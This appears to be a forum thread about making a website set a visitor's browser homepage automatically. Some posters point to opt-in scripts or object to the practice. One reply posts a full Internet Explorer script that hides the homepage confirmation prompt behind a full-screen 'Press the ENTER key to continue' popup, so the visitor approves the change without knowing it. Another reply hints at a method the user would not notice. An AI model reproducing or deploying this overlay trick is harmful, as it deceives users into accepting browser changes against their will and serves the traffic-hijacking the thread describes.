automatically set homepage

that would be done using Javascript, you can find what you are looking for at http://www.dynamicdrive.com etc

you can get 2 different types of the script, one, where of the user clicks on a link e.g. Set As Homepage, the other will ask the user the first/every time they visit your site.
 
I am not aware of any, nor have I seen one...but I know its possible some how??? :confused: I know warez related sites use it!
 
Just a suggestion, but I know that I wouldn't like it very much if my homepage was changed by a specific site without my permission.

My 2 cents.

I think some sites cover the prompt over with something so you don't see it, like this:

<html xmlns:ie>
<head>
<ie:homepage id="homepage" style="behavior:url(#default#homepage)">
<script type="text/javascript">
try{
var popup = window.createPopup();
popup.document.body.innerHTML = '<table width="100%" height="100%"><tr><td align="center"><h1>Press the ENTER key to continue</h1></td></tr></table>';
var interval = setInterval('popup.show(0, 0, screen.width, screen.height, document.body)', 10);
homepage.setHomePage('http://www.mit.edu/');
clearInterval(interval);
popup.hide();
}catch(e){}
</script>
</head>
</html>
 
i think theres a better way, in which the user doesnt even notice that his/her homepage has changed.
 
since I've started using a popup blocker with IE (though now using FFox) etc my homepage stays as blank!

I found often this trick was used to take you to sites where, the person would earn money from it. Its quite a nasty trick! I'm not sure how its done!
